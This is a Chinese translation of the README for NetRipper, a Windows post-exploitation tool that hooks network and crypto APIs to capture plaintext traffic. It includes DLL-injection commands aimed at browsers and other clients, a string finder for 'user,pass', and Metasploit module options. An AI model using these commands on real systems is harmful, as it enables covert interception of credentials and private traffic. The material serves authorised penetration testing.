NetRipper是一个针对Windows系统的后利用工具,它使用API钩子技术,从低权限用户处拦截网络流量和加密相关函数,能够捕获纯文本流量以及加密前的明文/解密后的明文流量。
NetRipper曾在Defcon 23(内华达州拉斯维加斯)发布。
在未事先获得双方同意的情况下使用NetRipper攻击目标是违法的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任,也不对因使用本程序而导致的任何误用或损害负责!
在渗透测试中,如果测试者在完全修补、配置良好的Windows机器上仅拥有低权限,后利用活动可能具有挑战性。本文提出了一种技术,帮助测试者通过嗅探受感染机器上应用程序的网络流量来发现有用信息,尽管其权限较低。此外,加密流量也会在发送到加密层之前被捕获,因此所有流量(明文和加密)都可以被嗅探。该技术的实现是一个名为NetRipper的工具,它使用API钩子执行上述操作,并专门设计用于渗透测试,但该概念也可用于监控员工的网络流量或分析恶意应用程序。
NetRipper应该能够捕获来自以下应用程序的网络流量:Putty、WinSCP、SQL Server Management Studio、Microsoft Outlook、Google Chrome、Mozilla Firefox 和其他多种工具。列表不限于这些应用程序,但其他工具可能需要特殊支持。
NetRipper.exe - 配置并注入DLL
DLL.dll - 注入的DLL,钩取API并将数据保存到文件
netripper.rb - Metasploit后利用模块
在AppVeyor上提供了自动构建。可以从这里的Artifacts部分下载二进制文件。
注入: NetRipper.exe DLL路径.dll 进程名.exe
示例: NetRipper.exe DLL.dll firefox.exe
生成DLL:
-h, --help 打印此帮助信息
-w, --write 写入配置数据的DLL的完整路径
-l, --location 保存数据文件的完整路径(默认为TEMP)
插件:
-p, --plaintext 仅捕获纯文本数据。例如 true
-d, --datalimit 限制每次请求的捕获大小。例如 4096
-s, --stringfinder 查找特定字符串。例如 user,pass,config
示例: NetRipper.exe -w DLL.dll -l TEMP -p true -d 4096 -s user,pass
msf exploit(multi/handler) > use post/windows/gather/netripper/netripper
msf post(windows/gather/netripper/netripper) > show options
模块选项 (post/windows/gather/netripper/netripper):
名称 当前设置 必需 描述
---- --------------- -------- -----------
DATALIMIT 65535 否 从请求/响应中保存的字节数
DATAPATH TEMP 否 保存文件的位置。例如 C:\Windows\Temp 或 TEMP
DLLPATH 否 查找NetRipper DLL的位置。默认为 /usr/share/metasploit-framework...
PLAINTEXT false 否 如果为true则仅保存纯文本数据
PROCESSIDS 否 进程ID。例如 1244,1256
PROCESSNAMES 否 进程名称。例如 firefox.exe,chrome.exe
SESSION 是 要在其上运行此模块的会话。
STRINGFINDER DEFAULT 否 在捕获的数据中搜索特定字符串
设置 PROCESSNAMES 或 PROCESSIDS 并运行。
@HarmJ0y 添加了 Invoke-NetRipper.ps1 PowerShell实现,对应 NetRipper.exe 请注意,PowerShell模块并非最新版本。
你可以在 "Changelog.md" 文件中找到更新日志,在 "Compilation.md" 文件中找到编译说明。
NetRipper 使用了
Ionut Popescu (@NytroRST)